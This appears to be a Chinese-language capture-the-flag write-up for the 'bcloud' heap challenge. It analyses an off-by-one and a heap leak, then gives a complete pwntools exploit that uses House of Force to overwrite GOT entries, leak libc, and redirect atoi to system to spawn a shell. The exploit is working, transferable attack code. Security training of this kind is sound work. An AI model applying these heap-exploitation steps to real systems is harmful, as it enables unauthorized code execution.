[house of force] bcloud
1. ida分析
-
漏洞主要在init函数
- 输入name的时候,可以泄漏heap的地址
-
org、host都用的read函数,因此都存在off by one
- 32位系统中的off by one,最后很有可能是有值的,不是\x00,试一下就知道了,我这里试了一下,可以触发house of force
2. 思路
-
利用name,泄漏heap的基址,得到top chunk addr
def inti(name,org,host): sa('Input your name:\n',name) heap_base = u32(ru('!')[-5:-1])-8 leak("heap_base",heap_base) sa('Org:\n',org) sa('Host:\n',host) return heap_base heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
-
然后利用house of force,在notelist处构造fake chunk
#这里申请4个chunk是为了下面edit构造合法的size,不然没法编辑,我是最后调试发现的 add(0x10,'0') add(0x10,'1') add(0x10,'2') add(0x10,'3') top_chunk = heap_base + 0x138 ptr = 0x804b120 offset = ptr-0x10 - top_chunk leak("offset",offset) add(offset,'0'*8)#下一次就可以申请chunk在ptr
-
进而可以进行任意地址写,这里将free修改为puts,用于泄漏libc的基址
add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4) edit(1,p32(elf.plt['puts'])) remove(2) atoi = u32(r(4)) leak("atoi",atoi) libc_base = atoi-libc.sym['atoi'] leak('libc_base',libc_base)
-
进而获得system函数的地址,将atoi修改为system
#这里的onegadget条件均不满足 one = libc_base + 0x5fbd6 system = libc_base + libc.sym['system'] leak("system",system) edit(3,p32(system)) s('/bin/sh\x00')
3. exp
#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF('./bcloud')
context(arch=elf.arch,os='linux',log_level='debug')
p=process(elf.path)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
local_libc_64 = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data)
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
pass
def inti(name,org,host):
sa('Input your name:\n',name)
heap_base = u32(ru('!')[-5:-1])-8
leak("heap_base",heap_base)
sa('Org:\n',org)
sa('Host:\n',host)
return heap_base
def add(size,cont):
sla('>>\n','1')
sla('content:\n',str(size))
if len(cont)==64:
sa('content:\n',cont)
else:
sla('content:\n',cont)
def edit(index,cont):
sla('>>\n','3')
sla('id:\n',str(index))
if len(cont)==64:
sa('content:\n',cont)
else:
sla('content:\n',cont)
def remove(index):
sla('>>\n','4')
sla('id:\n',str(index))
heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
add(0x10,'0')
add(0x10,'1')
add(0x10,'2')
add(0x10,'3')
top_chunk = heap_base + 0x138
ptr = 0x804b120
offset = ptr-0x10 - top_chunk
leak("offset",offset)
add(offset,'0'*8)
add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4)
edit(1,p32(elf.plt['puts']))
remove(2)
atoi = u32(r(4))
leak("atoi",atoi)
libc_base = atoi-libc.sym['atoi']
leak('libc_base',libc_base)
one = libc_base + 0x5fbd6
system = libc_base + libc.sym['system']
leak("system",system)
edit(3,p32(system))
s('/bin/sh\x00')
p.interactive()
4. 几个注意点
- 需要先申请几个合法的chunk,这样才有合法的size,用于后面的edit
- onegadget不可用,可以将atoi修改为system,参数传
/bin/sh\x00